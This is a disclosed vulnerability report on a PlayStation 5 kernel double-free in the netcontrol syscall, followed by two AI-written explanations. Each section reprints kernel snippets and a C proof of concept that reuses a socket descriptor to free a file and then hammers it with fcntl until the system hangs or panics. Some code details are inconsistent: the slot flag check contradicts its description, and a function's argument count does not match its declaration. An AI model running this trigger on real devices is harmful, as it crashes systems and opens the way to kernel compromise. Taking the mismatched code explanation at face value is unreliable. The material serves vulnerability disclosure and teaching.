Skip to content
Memory corruption Disclosed report Advanced

Double fdrop on a socket through sys_netcontrol

The netcontrol syscall's clear-queue handler matched sockets by file descriptor number rather than by the actual socket object, so a reused fd could cause an extra fdrop on a socket that was never added, freeing it while a reference remained. An attacker could trigger a use-after-free in the kernel, potentially leading to memory corruption and code execution.

slidybat Follow

Originally disclosed on HackerOne

Bounty$10,000 High View original
  • Triaged in 48 days
  • Fixed in 5 months
  • Paid in 5 months
  • Disclosed after 8 months

Summary by the program

Summary:

The netcontrol syscall has the following prototype:

int netcontrol(int if_index, int cmd, void* buf, size_t buflen)

The netcontrol handler for a cmd value of 0x20000003 takes a socket fd value as input and stores the socket pointer/fd to a netevent struct.

The code for adding a socket to a netevent struct looks like this:

C++
int
kern_netevent_set_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int res;
    struct file *fp;
    int socket_fd = *user_buf;
    int should_drop = 0;
    ...

    res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
    if (res != 0)
        return res;

    res = bnet_netevent_set_queue(td, ifp, fp->f_data, user_buf, &should_drop);
    if (should_drop || res != 0)
        fdrop(fp, td);

    return res;
}

int
bnet_netevent_set_queue(struct thread *td, struct ifnet *ifp, struct socket *so, int *user_buf, int *should_drop)
{
    ...
    int socket_fd = *user_buf;
    struct netevent* ne;
    ...
    // [snipped code that finds available netevent struct, either from ifp or global]
    ...
    
    ne->flags |= 1; // Mark netevent as being "filled"
    ne->socket = so;
    ne->socket_fd = socket_fd;
    so->so_netevent = ne;

    ...
}

Note that a reference to the socket is taken through getsock_cap(), and as long as no error occurs, that reference is held and owned by the netevent.

The socket can also be removed from a netevent through netcontrol cmd 0x20000007. The code for doing so looks like this:

C++
int
kern_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int res;
    struct file *fp;
    int socket_fd = *user_buf;
    ...

    res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
    if (res != 0)
        return res;

    res = bnet_netevent_clear_queue(td, ifp, fp->f_data, user_buf);
    if (res == 0)
        fdrop(fp, td); // Drop ref that was held by netevent
    fdrop(fp, td); // Drop ref from getsock_cap() call above

    return res;
}

int
bnet_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int socket_fd = *user_buf;
    struct netevent* ne;
    
    // Find netevent that has matching socket fd
    for (int i = 0; i < 3; i++) {
        ne = ifp ? (&ifp->if_netevent[i]) : &g_common_ev[i];
        if ((ne->flags & 1) != 0 || ne->socket_fd != socket_fd)
            continue;
        bzero(ne, sizeof(*ne));
        return 0;
    }

    return 5;
}

This will clear the socket pointer and call fdrop() to release the reference that was held when the socket was initially set.

The bug here is that when clearing a socket from a netevent, the comparison between the stored socket and the input socket is done using the fd. However, the fd is not static and can be changed by the user to point to a different socket. If this is done, an extra fdrop() is called on a socket that never had that reference taken, and the reference from the original socket is leaked.

Steps To Reproduce:

  1. Create a sockets s1
  2. Add s1 to netevent using netcontrol() syscall with cmd 0x20000003
  3. Close s1 and create a new socket s2. The fd of both sockets should be the same.
  4. Remove s2 from netevent using netcontrol() syscall with cmd 0x20000007
  5. s2 will have fdrop() called on it twice, despite it never having been actually added to netevent. A reference to the original s1 file will also be leaked.

C code:

C++
#define NETCONTROL_NETEVENT_SET_QUEUE 0x20000003
#define NETCONTROL_NETEVENT_CLEAR_QUEUE 0x20000007

void main()
{
    int64_t s1 = socket(AF_INET, SOCK_STREAM, 0); // s1 refcnt = 1

    // Add s1 to netevent
    netcontrol(0, NETCONTROL_NETEVENT_SET_QUEUE, &s1, sizeof(s1)); // s1 refcnt = 2

    // Close s1 and open new socket s2
    // fd values are predictable, so s2 fd should be same as s1 fd
    close(s1); // s1 refcnt = 1
    int64_t s2 = socket(AF_INET, SOCK_STREAM, 0); // s2 refcnt = 1

    // Remove s2 from netevent (will cause double fdrop on file of s2)
    netcontrol(0, NETCONTROL_NETEVENT_CLEAR_QUEUE, &s2, sizeof(s2)); // s2 refcnt = 0, s1 refcnt = 1

    // At this stage, the backing file/socket for s2 has been freed, but we still have
    // a reference to it in the fdtable.
    //
    // Triggering call to fget() will result in a hang, due to fget() code not handling
    // refcnt of 0 well.
    //
    // On PS4, calling fcntl(F_SETFL) will cause file to get freed again, since that
    // calls fhold()/fdrop() directly without going through fget().
    // Doing this enough times will cause a crash/panic at some point.
    //
    // On PS5, fcntl(F_SETFL) will call fget() which should hang.
    for (int i = 0; i < 100; i++) {
        fcntl(s2, F_SETFL, 0);
    }
}

Impact

The double put of a file pointer can lead to a use-after-free, due to the file being freed while references to it still exist. Can be used by an attacker for memory corruption, potentially leading to kernel code execution.

The original report as published on HackerOne, by slidybat. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target is the PlayStation 5, and the feature in question is the netcontrol syscall. Its prototype is:

C++
int netcontrol(int if_index, int cmd, void* buf, size_t buflen)

Two of its command values are relevant here: 0x20000003 attaches a socket to a netevent structure, and 0x20000007 detaches a socket from a netevent structure. A netevent is a small slot (the code iterates over three of them, either per interface or in a global array) that holds a socket pointer, the socket's file descriptor, and a flag bit marking the slot as filled.

Setup

The report does not describe any account, role or tooling. The only precondition that matters is the ability to call the netcontrol syscall with the two command values above, passing a socket descriptor in the buffer argument. The proof of concept uses socket(), close(), netcontrol() and fcntl().

Finding it

The researcher read the two handlers that add and remove a socket from a netevent and compared how they manage the file reference.

Adding a socket goes through kern_netevent_set_queue:

C++
int
kern_netevent_set_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int res;
    struct file *fp;
    int socket_fd = *user_buf;
    int should_drop = 0;
    ...

    res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
    if (res != 0)
        return res;

    res = bnet_netevent_set_queue(td, ifp, fp->f_data, user_buf, &should_drop);
    if (should_drop || res != 0)
        fdrop(fp, td);

    return res;
}

int
bnet_netevent_set_queue(struct thread *td, struct ifnet *ifp, struct socket *so, int *user_buf, int *should_drop)
{
    ...
    int socket_fd = *user_buf;
    struct netevent* ne;
    ...
    // [snipped code that finds available netevent struct, either from ifp or global]
    ...

    ne->flags |= 1; // Mark netevent as being "filled"
    ne->socket = so;
    ne->socket_fd = socket_fd;
    so->so_netevent = ne;

    ...
}

getsock_cap() takes a reference to the socket's file. On the success path that reference is not dropped by the caller: it is transferred to the netevent, which now owns it. The netevent records both the socket pointer and the descriptor number it was added under.

Removing a socket goes through kern_netevent_clear_queue:

C++
int
kern_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int res;
    struct file *fp;
    int socket_fd = *user_buf;
    ...

    res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
    if (res != 0)
        return res;

    res = bnet_netevent_clear_queue(td, ifp, fp->f_data, user_buf);
    if (res == 0)
        fdrop(fp, td); // Drop ref that was held by netevent
    fdrop(fp, td); // Drop ref from getsock_cap() call above

    return res;
}

int
bnet_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int socket_fd = *user_buf;
    struct netevent* ne;

    // Find netevent that has matching socket fd
    for (int i = 0; i < 3; i++) {
        ne = ifp ? (&ifp->if_netevent[i]) : &g_common_ev[i];
        if ((ne->flags & 1) != 0 || ne->socket_fd != socket_fd)
            continue;
        bzero(ne, sizeof(*ne));
        return 0;
    }

    return 5;
}

The clear path takes its own reference through getsock_cap(), then looks for a netevent whose stored descriptor matches the descriptor passed in. When it finds one it zeroes the slot and returns success, and the caller drops two references: one for the reference the netevent was holding, and one for the reference getsock_cap() just took.

The flaw the researcher spotted is in that match. The netevent stores a descriptor number, and the comparison is done on the descriptor number, but a descriptor number is not a stable identity. A user can close the original socket and open a new one that receives the same descriptor number. The clear path will then find the netevent by number, zero it, and drop the reference that belonged to the original socket, while the reference it took belongs to the new socket. The result is an extra fdrop() on a socket that never had that reference taken, and a leaked reference on the original socket.

Exploitation

Step 1: create the first socket

C++
int64_t s1 = socket(AF_INET, SOCK_STREAM, 0); // s1 refcnt = 1

A stream socket is created. Its file reference count is one.

Step 2: attach it to a netevent

C++
netcontrol(0, NETCONTROL_NETEVENT_SET_QUEUE, &s1, sizeof(s1)); // s1 refcnt = 2

With command 0x20000003, the descriptor is passed by pointer in the buffer. getsock_cap() takes a reference, and because no error occurs the reference stays with the netevent. The count is now two.

Step 3: close it and open a second socket on the same descriptor

C++
close(s1); // s1 refcnt = 1
int64_t s2 = socket(AF_INET, SOCK_STREAM, 0); // s2 refcnt = 1

Closing the first socket drops the user's reference, leaving the netevent's reference. The descriptor number is now free, and the new socket is expected to receive the same number, because descriptor allocation is predictable. The netevent still holds the pointer to the first socket and the descriptor number, which now names the second socket.

Step 4: clear the netevent using the second socket

C++
netcontrol(0, NETCONTROL_NETEVENT_CLEAR_QUEUE, &s2, sizeof(s2)); // s2 refcnt = 0, s1 refcnt = 1

With command 0x20000007, getsock_cap() takes a reference on the second socket. The lookup matches the netevent by descriptor number, zeroes the slot and returns success. The caller then drops twice: once for the reference the netevent was supposed to own, and once for its own. Both drops land on the second socket, taking it from one reference to zero, while the first socket keeps the reference that was never released.

Step 5: use the freed socket

C++
// At this stage, the backing file/socket for s2 has been freed, but we still have
// a reference to it in the fdtable.
//
// Triggering call to fget() will result in a hang, due to fget() code not handling
// refcnt of 0 well.
//
// On PS4, calling fcntl(F_SETFL) will cause file to get freed again, since that
// calls fhold()/fdrop() directly without going through fget().
// Doing this enough times will cause a crash/panic at some point.
//
// On PS5, fcntl(F_SETFL) will call fget() which should hang.
for (int i = 0; i < 100; i++) {
    fcntl(s2, F_SETFL, 0);
}

The descriptor for the second socket is still present in the descriptor table, but the file behind it has been freed. Any path that calls fget() on it hangs, because fget() does not handle a reference count of zero well. On the PS4, fcntl(F_SETFL) takes a different route, calling fhold() and fdrop() directly without going through fget(), so each call frees the file again; repeating it enough times eventually causes a crash or panic. On the PS5, the same call goes through fget() and is expected to hang.

Root cause

The netevent identifies its socket by descriptor number, and the clear path trusts that number to name the same socket that was stored. Descriptor numbers are reused after close(), so the identity check can be satisfied by a different socket. The clear path then releases a reference that was never taken on the socket it actually found, and the reference held for the original socket is leaked. The add path's reference transfer is correct in isolation; the mistake is that the clear path assumes the descriptor still refers to the same object.

Impact

The double put of a file pointer can lead to a use-after-free, because the file is freed while references to it still exist. The report states this can be used by an attacker for memory corruption, potentially leading to kernel code execution. The report does not describe a full exploit chain beyond the crash and hang behaviour above.

Fix

Variants to test

  1. Any kernel interface that stores a descriptor number and later looks the object up by that number, rather than by pointer or by a generation counter. A positive result is that closing the object and opening a new one on the same number causes the second object to be released twice.
  2. Interfaces with a fixed number of slots, like the three netevent entries here, where a slot is matched by a user-supplied identifier. A positive result is a slot being cleared while the object it originally referenced keeps an extra reference.
  3. Reference-counted objects reachable through more than one syscall path, where one path takes a reference and another path releases it. A positive result is a count that goes to zero while the object is still reachable from the descriptor table.

Hunting notes

This kind of bug hides in code that keeps a descriptor number as a key and later resolves it back to an object, especially where the resolution is used to decide which reference to drop. During review, look for structures that store both a pointer and a descriptor, and check which of the two is used for matching. The signal is a comparison like ne->socket_fd != socket_fd in a lookup that then releases a reference. The researcher walked the reference count through each step and noted that the freed file is still reachable from the descriptor table, where calls on it should hang or free it again.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher found a bug in the PlayStation 5's netcontrol syscall. The bug is in a system call (a "syscall") called netcontrol, . A syscall is simply a doorway that an ordinary program can knock on to ask the kernel to do something on its behalf, because ordinary programs are not allowed to touch hardware or memory directly.

The bug is a double free. In plain terms, the kernel keeps a tally of how many things are using a particular object (here, a network socket). When the tally reaches zero, the kernel throws the object away. A double free means the kernel is tricked into throwing the object away twice, or throwing it away while something still thinks it is alive. That leaves a piece of memory that has been freed but is still being pointed at, which is called a use-after-free. The report says this can be used for memory corruption, potentially leading to kernel code execution.

The researcher demonstrated the bug with a short C program that creates a socket, attaches it to a kernel structure, closes it, opens a new socket that happens to get the same number, and then detaches the new socket. The detach path releases a reference that was never taken on the new socket, and the original socket's reference is leaked. The result is a socket that has been freed but is still reachable through the descriptor table, and calling ordinary functions on it is expected to hang, or on the PS4 eventually crash.

Background: the pieces involved

Before walking through the bug, here are the concepts you need.

  • Kernel: the privileged core of an operating system. It manages memory, devices, files and network connections. User programs cannot touch it directly; they ask it for things through syscalls.
  • Syscall: a controlled entry point from a user program into the kernel. Each syscall has a number and a fixed set of arguments.
  • Socket: an endpoint for network communication. In code it is represented by a small integer called a file descriptor (or just descriptor, or fd). The program uses that number whenever it wants to read from, write to, or close the socket.
  • File descriptor: a number that indexes into a per-process table. The kernel uses the number to find the actual object (the "file" structure) behind it. Descriptors are small integers, usually allocated starting from 0 and reusing the lowest free number.
  • Reference count: a tally kept on an object saying how many places are using it. When something takes a reference, the count goes up. When something releases a reference, the count goes down. When it reaches zero, the object is freed. This is how the kernel avoids freeing something that is still in use.
  • fget() / fhold() / fdrop(): kernel functions that look up a file by descriptor and adjust its reference count. fget() finds the file and takes a reference. fhold() just increments the count. fdrop() decrements it and frees the object if the count hits zero.
  • getsock_cap(): a kernel helper that looks up a socket by descriptor, checks the caller has the right permissions, and takes a reference on the underlying file.
  • netevent: a small kernel structure (a "slot") that holds a pointer to a socket, the socket's descriptor number, and a flag bit saying whether the slot is in use. The code iterates over three of these slots, either per network interface or in a global array.
  • netcontrol: the syscall at the centre of this report. It is a general control channel for network interfaces.

The netcontrol syscall

The syscall's prototype is:

C++
int netcontrol(int if_index, int cmd, void* buf, size_t buflen)

Line by line:

  • int if_index: the first argument, passed as 0 in the proof of concept.
  • int cmd: a command number that selects what the syscall should do.
  • void* buf: a pointer to a buffer in the caller's memory. For the commands in this report, the buffer holds a socket descriptor.
  • size_t buflen: the size of that buffer.

Two command values matter here:

Command Meaning
0x20000003 Attach a socket to a netevent slot
0x20000007 Detach a socket from a netevent slot

0x20000003 and 0x20000007 are hexadecimal numbers. Hexadecimal is just another way of writing numbers, convenient in low-level code because each hex digit maps to four bits.

Setup

The report does not describe any account, role or tooling. The only precondition that matters is the ability to call the netcontrol syscall with the two command values above, passing a socket descriptor in the buffer argument. The proof of concept is plain C using socket(), close(), netcontrol() and fcntl().

Finding it

The researcher read the two handlers that add and remove a socket from a netevent and compared how they manage the file reference. A handler is the function inside the kernel that actually carries out a syscall once it has been dispatched.

The add path

Adding a socket goes through kern_netevent_set_queue:

C++
int
kern_netevent_set_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int res;
    struct file *fp;
    int socket_fd = *user_buf;
    int should_drop = 0;
    ...

    res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
    if (res != 0)
        return res;

    res = bnet_netevent_set_queue(td, ifp, fp->f_data, user_buf, &should_drop);
    if (should_drop || res != 0)
        fdrop(fp, td);

    return res;
}

int
bnet_netevent_set_queue(struct thread *td, struct ifnet *ifp, struct socket *so, int *user_buf, int *should_drop)
{
    ...
    int socket_fd = *user_buf;
    struct netevent* ne;
    ...
    // [snipped code that finds available netevent struct, either from ifp or global]
    ...

    ne->flags |= 1; // Mark netevent as being "filled"
    ne->socket = so;
    ne->socket_fd = socket_fd;
    so->so_netevent = ne;

    ...
}

What each part does:

  1. int socket_fd = *user_buf; reads the descriptor number out of the caller's buffer. The buffer is a pointer, so *user_buf dereferences it to get the integer inside.
  2. getsock_cap(...) looks up the socket by that descriptor and takes a reference on its file. If it fails, the function returns the error and nothing else happens.
  3. bnet_netevent_set_queue(...) is called with fp->f_data, which is the socket object behind the file. It finds a free netevent slot and fills it in.
  4. Inside the inner function, ne->flags |= 1; sets the "filled" bit. ne->socket = so; stores the socket pointer. ne->socket_fd = socket_fd; stores the descriptor number. so->so_netevent = ne; links the socket back to the slot.
  5. Back in the outer function, if (should_drop || res != 0) fdrop(fp, td); releases the reference only if something went wrong. On the success path, the reference is not dropped by the caller: it is transferred to the netevent, which now owns it.

The key point: after a successful add, the netevent holds one reference on the socket's file, and the netevent records both the socket pointer and the descriptor number it was added under.

The clear path

Removing a socket goes through kern_netevent_clear_queue:

C++
int
kern_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int res;
    struct file *fp;
    int socket_fd = *user_buf;
    ...

    res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
    if (res != 0)
        return res;

    res = bnet_netevent_clear_queue(td, ifp, fp->f_data, user_buf);
    if (res == 0)
        fdrop(fp, td); // Drop ref that was held by netevent
    fdrop(fp, td); // Drop ref from getsock_cap() call above

    return res;
}

int
bnet_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
    int socket_fd = *user_buf;
    struct netevent* ne;

    // Find netevent that has matching socket fd
    for (int i = 0; i < 3; i++) {
        ne = ifp ? (&ifp->if_netevent[i]) : &g_common_ev[i];
        if ((ne->flags & 1) != 0 || ne->socket_fd != socket_fd)
            continue;
        bzero(ne, sizeof(*ne));
        return 0;
    }

    return 5;
}

What each part does:

  1. getsock_cap(...) takes its own reference on the socket named by the descriptor. This is a fresh reference, separate from whatever the netevent holds.
  2. bnet_netevent_clear_queue(...) is called to find and clear the matching slot.
  3. Inside the inner function, the loop for (int i = 0; i < 3; i++) walks the three netevent slots. ne = ifp ? (&ifp->if_netevent[i]) : &g_common_ev[i]; picks either the per-interface array or the global array, depending on whether an interface was supplied.
  4. if ((ne->flags & 1) != 0 || ne->socket_fd != socket_fd) continue; skips a slot if it is not filled, or if its stored descriptor number does not match the one passed in. This is the crucial comparison: it matches on the descriptor number, not on the socket pointer.
  5. bzero(ne, sizeof(*ne)); zeroes the whole slot, wiping the pointer, the descriptor and the flag. return 0; reports success.
  6. If no slot matched, return 5; reports failure.
  7. Back in the outer function, if (res == 0) fdrop(fp, td); drops one reference for the reference the netevent was holding. Then fdrop(fp, td); unconditionally drops a second reference for the one getsock_cap() just took.

So on a successful clear, two references are released: one that the netevent owned, and one that getsock_cap() took. That is correct only if the socket found by getsock_cap() is the same socket the netevent was holding.

The flaw

The netevent stores a descriptor number, and the comparison is done on the descriptor number, but a descriptor number is not a stable identity. A user can close the original socket and open a new one that receives the same descriptor number. The clear path will then find the netevent by number, zero it, and drop the reference that belonged to the original socket, while the reference it took belongs to the new socket. The result is an extra fdrop() on a socket that never had that reference taken, and a leaked reference on the original socket.

An everyday comparison: imagine a cloakroom that hands out numbered tickets. You hand in your coat and get ticket 7. You leave, and someone else hands in their coat and also gets ticket 7, because the cloakroom reuses numbers. If the attendant later uses ticket 7 to fetch "your" coat, they fetch the wrong coat. Here the kernel does the same thing with sockets: it uses the number to decide which object to release, and the number has been reused.

Exploitation

The researcher walked through the reference count step by step. The comments in the code show the count after each line.

Step 1: create the first socket

C++
int64_t s1 = socket(AF_INET, SOCK_STREAM, 0); // s1 refcnt = 1

A stream socket is created. The returned value is a descriptor, stored in s1. Its file reference count is one, because the descriptor table holds one reference.

Step 2: attach it to a netevent

C++
netcontrol(0, NETCONTROL_NETEVENT_SET_QUEUE, &s1, sizeof(s1)); // s1 refcnt = 2

With command 0x20000003 (the macro NETCONTROL_NETEVENT_SET_QUEUE), the descriptor is passed by pointer in the buffer. &s1 is the address of the variable, and sizeof(s1) is its size in bytes. getsock_cap() takes a reference, and because no error occurs the reference stays with the netevent. The count is now two: one for the descriptor table, one for the netevent.

Step 3: close it and open a second socket on the same descriptor

C++
close(s1); // s1 refcnt = 1
int64_t s2 = socket(AF_INET, SOCK_STREAM, 0); // s2 refcnt = 1

Closing the first socket drops the user's reference, leaving the netevent's reference. The descriptor number is now free, and the new socket is expected to receive the same number, because descriptor allocation is predictable: the kernel typically hands out the lowest free number. The netevent still holds the pointer to the first socket and the descriptor number, which now names the second socket.

Step 4: clear the netevent using the second socket

C++
netcontrol(0, NETCONTROL_NETEVENT_CLEAR_QUEUE, &s2, sizeof(s2)); // s2 refcnt = 0, s1 refcnt = 1

With command 0x20000007, getsock_cap() takes a reference on the second socket. The lookup matches the netevent by descriptor number, zeroes the slot and returns success. The caller then drops twice: once for the reference the netevent was supposed to own, and once for its own. Both drops land on the second socket, taking it from one reference to zero, while the first socket keeps the reference that was never released.

Step 5: use the freed socket

C++
// At this stage, the backing file/socket for s2 has been freed, but we still have
// a reference to it in the fdtable.
//
// Triggering call to fget() will result in a hang, due to fget() code not handling
// refcnt of 0 well.
//
// On PS4, calling fcntl(F_SETFL) will cause file to get freed again, since that
// calls fhold()/fdrop() directly without going through fget().
// Doing this enough times will cause a crash/panic at some point.
//
// On PS5, fcntl(F_SETFL) will call fget() which should hang.
for (int i = 0; i < 100; i++) {
    fcntl(s2, F_SETFL, 0);
}

The descriptor for the second socket is still present in the descriptor table, but the file behind it has been freed. The loop calls fcntl(s2, F_SETFL, 0) one hundred times. fcntl is a general file-control function; F_SETFL sets file status flags, and the 0 here means no flags. The point is not the flags but the fact that fcntl has to look up the file behind the descriptor.

Any path that calls fget() on it hangs, because fget() does not handle a reference count of zero well. On the PS4, fcntl(F_SETFL) takes a different route, calling fhold() and fdrop() directly without going through fget(), so each call frees the file again; repeating it enough times eventually causes a crash or panic. On the PS5, the same call goes through fget() and is expected to hang.

Root cause

The netevent identifies its socket by descriptor number, and the clear path trusts that number to name the same socket that was stored. Descriptor numbers are reused after close(), so the identity check can be satisfied by a different socket. The clear path then releases a reference that was never taken on the socket it actually found, and the reference held for the original socket is leaked. The add path's reference transfer is correct in isolation; the mistake is that the clear path assumes the descriptor still refers to the same object.

Impact

The double put of a file pointer can lead to a use-after-free, because the file is freed while references to it still exist. The report states this can be used by an attacker for memory corruption, potentially leading to kernel code execution. The report does not describe a full exploit chain beyond the crash and hang behaviour above.

Fix

Variants to test

  1. Any kernel interface that stores a descriptor number and later looks the object up by that number, rather than by pointer or by a generation counter. A positive result is that closing the object and opening a new one on the same number causes the second object to be released twice.
  2. Interfaces with a fixed number of slots, like the three netevent entries here, where a slot is matched by a user-supplied identifier. A positive result is a slot being cleared while the object it originally referenced keeps an extra reference.
  3. Reference-counted objects reachable through more than one syscall path, where one path takes a reference and another path releases it. A positive result is a count that goes to zero while the object is still reachable from the descriptor table.

Hunting notes

This kind of bug hides in code that keeps a descriptor number as a key and later resolves it back to an object, especially where the resolution is used to decide which reference to drop. During review, look for structures that store both a pointer and a descriptor, and check which of the two is used for matching. The signal is a comparison like ne->socket_fd != socket_fd in a lookup that then releases a reference. The researcher walked the reference count through each step and noted that the freed file is still reachable from the descriptor table, where calls on it should hang or free it again.

Glossary

  • Kernel: the privileged core of an operating system that manages memory, devices, files and network connections.
  • Syscall: a controlled entry point from a user program into the kernel, identified by a number and a fixed set of arguments.
  • Handler: the kernel function that carries out a particular syscall.
  • Socket: an endpoint for network communication, represented in a program by a descriptor number.
  • File descriptor (fd): a small integer that indexes into a per-process table, used to find the underlying object.
  • Reference count: a tally of how many places are using an object; the object is freed when the count reaches zero.
  • Double free: a bug where an object is freed twice, or freed while something still points at it.
  • Use-after-free: a bug where memory that has been freed is still used, allowing corruption or code execution.
  • fget(): a kernel function that looks up a file by descriptor and takes a reference on it.
  • fhold(): a kernel function that increments a file's reference count.
  • fdrop(): a kernel function that decrements a file's reference count and frees the file if it reaches zero.
  • getsock_cap(): a kernel helper that looks up a socket by descriptor, checks permissions, and takes a reference on the underlying file.
  • netevent: a small kernel structure holding a socket pointer, a descriptor number and a filled flag, used to attach sockets to network events.
  • netcontrol: the syscall used as a general control channel for network interfaces.
  • Hexadecimal: a base-16 way of writing numbers, convenient in low-level code because each digit maps to four bits.
  • fcntl: a general file-control function; F_SETFL sets file status flags.
  • Memory corruption: a class of bug where a program writes to memory it should not, potentially allowing an attacker to control execution.
  • Kernel code execution: running attacker-controlled code with the highest privileges on the system.
  • Panic: an unrecoverable kernel error that halts the system.
  • Proof of concept (PoC): a small program that demonstrates a bug without being a full exploit.

More by slidybat

View all

2 more disclosed reports, best first.

More from PlayStation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.